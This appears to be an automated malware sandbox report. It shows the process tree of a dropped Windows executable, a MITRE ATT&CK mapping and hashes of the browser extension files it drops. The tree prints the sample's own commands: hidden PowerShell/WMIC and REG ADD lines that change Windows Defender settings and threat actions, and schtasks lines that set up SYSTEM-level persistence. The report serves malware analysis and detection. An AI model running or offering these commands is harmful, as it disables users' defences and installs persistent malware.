- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:4912
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:1472
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2948

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3456

C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\VCbtqsa.exe
C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\VCbtqsa.exe XT /DGsite_idXfv 385118 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:3556
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bWycNackLSywaqkmgR"
  2⤵
  PID:424
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:3996
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:3836
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:2800
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:1724
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:5020
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ByWuwrOBU\BxXtXE.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qbSDwEgyNYPZlGA" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:3336
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2436
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "qbSDwEgyNYPZlGA2" /F /xml "C:\Program Files (x86)\ByWuwrOBU\PpiHwYq.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1916
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "qbSDwEgyNYPZlGA"
  2⤵
  PID:2104
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2800
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "qbSDwEgyNYPZlGA"
  2⤵
  PID:3068
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yJQYurcljWrTFb" /F /xml "C:\Program Files (x86)\RVqmAwyyxwiU2\XeAyGFf.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:916
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "MrNSpwukvDtlP2" /F /xml "C:\ProgramData\wGkeBUkfAIhWvVVB\MqgVxNO.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:484
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3336
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "qnWLzqfHNJaEQUiUn2" /F /xml "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\qlQDfMu.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2360
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "FBXQMyjqJGqSqkHthaW2" /F /xml "C:\Program Files (x86)\DUGaRsFaSnqjC\gjqUqPX.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4732
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "QhciBzJOokLnyYZub" /SC once /ST 04:11:29 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ofqvFcNvzeRditbz\WRgCsQCI\TIcELzH.dll\",#1 /lgsite_idSdY 385118" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:4520
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "QhciBzJOokLnyYZub"
  2⤵
  PID:4112
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3408
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "BAnwxolbGpCzXNxkj"
  2⤵
  PID:3628

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\WRgCsQCI\TIcELzH.dll",#1 /lgsite_idSdY 385118
1⤵
PID:4100
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\WRgCsQCI\TIcELzH.dll",#1 /lgsite_idSdY 385118
  2⤵
  - Blocklisted process makes network request
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Enumerates system info in registry
  PID:4392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "QhciBzJOokLnyYZub"
    3⤵
    PID:964

C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\RQEkPGX.exe
C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\RQEkPGX.exe em /hHsite_idEnW 385118 /S
1⤵
- Executes dropped EXE
PID:388
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3924
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2024
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:3348
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1020
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1916
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2408
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1676
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3260
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4196
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3940
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:400
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2872
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1472
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3764
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:244
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3336
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2520
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5072
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3796
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4644
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2272
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4120
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1340
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2264
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3912
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2580
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2972
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2644
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "BAnwxolbGpCzXNxkj" /SC once /ST 05:46:56 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\UfuelGE.exe\" XT /vssite_idBBS 385118 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:1388
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "BAnwxolbGpCzXNxkj"
  2⤵
  PID:740

C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\UfuelGE.exe
C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\UfuelGE.exe XT /vssite_idBBS 385118 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
PID:4436
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bWycNackLSywaqkmgR"
  2⤵
  PID:3960
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:1504
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:1672
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:3336
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:2912
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:3556
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ByWuwrOBU\THYZoM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qbSDwEgyNYPZlGA" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:2872
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "qbSDwEgyNYPZlGA2" /F /xml "C:\Program Files (x86)\ByWuwrOBU\iMTCnDE.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1768
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "qbSDwEgyNYPZlGA"
  2⤵
  PID:1504
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "qbSDwEgyNYPZlGA"
  2⤵
  PID:2808
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yJQYurcljWrTFb" /F /xml "C:\Program Files (x86)\RVqmAwyyxwiU2\xdNTLFG.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2716
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "MrNSpwukvDtlP2" /F /xml "C:\ProgramData\wGkeBUkfAIhWvVVB\lVlgeBR.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3996
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "qnWLzqfHNJaEQUiUn2" /F /xml "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\BFuRDhb.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4644
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "FBXQMyjqJGqSqkHthaW2" /F /xml "C:\Program Files (x86)\DUGaRsFaSnqjC\PkXMpKh.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3108
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "BAnwxolbGpCzXNxkj"
  2⤵
  PID:5016

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Program Files (x86)\RVqmAwyyxwiU2\RBDxnXotGXYEm.dll",#1
1⤵
PID:2024
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Program Files (x86)\RVqmAwyyxwiU2\RBDxnXotGXYEm.dll",#1
  2⤵
  - Loads dropped DLL
  PID:1020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

Path C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
Size 2.0MB
SHA256 f7fe7c22d7d2e3915824caa832bda4df7eb23bdae0c64e5a6defb18a9ea35875
MD5 0ca157dad40be658de8024b81e81c794
SHA1 262203d8b2433e0852d94f0c7a7bfc4c4b3695a0
SHA512 1f95d8d579f9494c3e6f9dbed45a04e69d2ba0b5f598f0b1692af531de87e0e8f7b8f5fb4e51f119ce9c9f4350e76bf8a7a853f51c24dd841fcc4369e25a93b9
SSDEEP 6144:ZZe4X+MgxLWEs26S2R/S2vnPEGT8CBfmL:ZzX+Mg4nRHEWfmL
MD5 SHA1 SHA512 SSDEEP

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\be\messages.json
Size 202B
SHA256 a93a368b5c7023842f9d8b0ee5ef9638c03c808212efefadf7331d3b65482ea3
MD5 2f2efb9c49386fe854d96e8aa233a56f
SHA1 42505da3452e7fd4842ed4bd1d88f8e3e493f172
SHA512 c9bd97f3487ab695dd9245a14058ed70b3be61b6bf21b281efe022a954c17d86208a4004e157ef892af84764ac290c6f97345a50ebeb9d11c16490979859b934
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\ca\messages.json
Size 146B
SHA256 3a22d19fd72a8158ad5ec9bfa1dcdf70fdb23c0dee82454b69c2244dfd644e67
MD5 7afdcfbd8baa63ba26fb5d48440dd79f
SHA1 6c5909e5077827d2f10801937b2ec74232ee3fa9
SHA512 c9acb7850d6392cac39ed4409a7b58c31c4e66def628e9b22a6f5a6a54789e2c67c09427bd57de1ff196bf79eaf1d7dc7423ba32f1ab1764b5a25ef706cbc098
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\cs\messages.json
Size 154B
SHA256 38af7c2222357b07b4e5f0292d334d66f048c12f1c85ca34215104baa75bc097
MD5 0adcbaf7743ed15eb35ac5fb610f99ed
SHA1 189e00f2a1f4ebc7443930e05acc3dcb7ac07f3b
SHA512 e2e4fd47bb3625d050b530bc41df89501832d5a43e4bb21efea0102a6d04c130cd5b7a4e4cafdac99344eb271401c6e6f93440e55d77013695c1ab3bba1b4a89
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\da\messages.json
Size 146B
SHA256 d4de6ea622defe4a521915812a92d06d29065dacb889a9995a9e609bb02f2cfb
MD5 372550a79e5a03aab3c5f03c792e6e9c
SHA1 a7d1e8166d49eab3edf66f5a046a80a43688c534
SHA512 4220dfce49f887bf9bf94bb3e42172ae0964cfb642343a967418ff7855c9c45455754ebf68c17f3d19fc7c6eb2c1b4725103bc55c9c56715941740897c19575f
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\de\messages.json
Size 155B
SHA256 14725b60e289582b990c6da9b4afcbef8063eb3414f9c6020023f4d2bac7bb1e
MD5 3c8e1bfc792112e47e3c0327994cd6d1
SHA1 5c39df5dbafcad294f770b34130cd4895d762c1c
SHA512 ce7c707e15725ffb73c5915ee6b381ca82eda820ae5ec2353a4e7147de297f6367945b34010b4e4c41d68df92a4ccf9a2b5df877f89526ca6b674bae00cabe9e
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\el\messages.json
Size 180B
SHA256 2e2ae3734b84565b2a6243fe4585dd6a0f5db54aae01fa86b6f522dd1ff55255
MD5 177719dbe56d9a5f20a286197dee3a3b
SHA1 2d0f13a4aab956a2347ce09ad0f10a88ec283c00
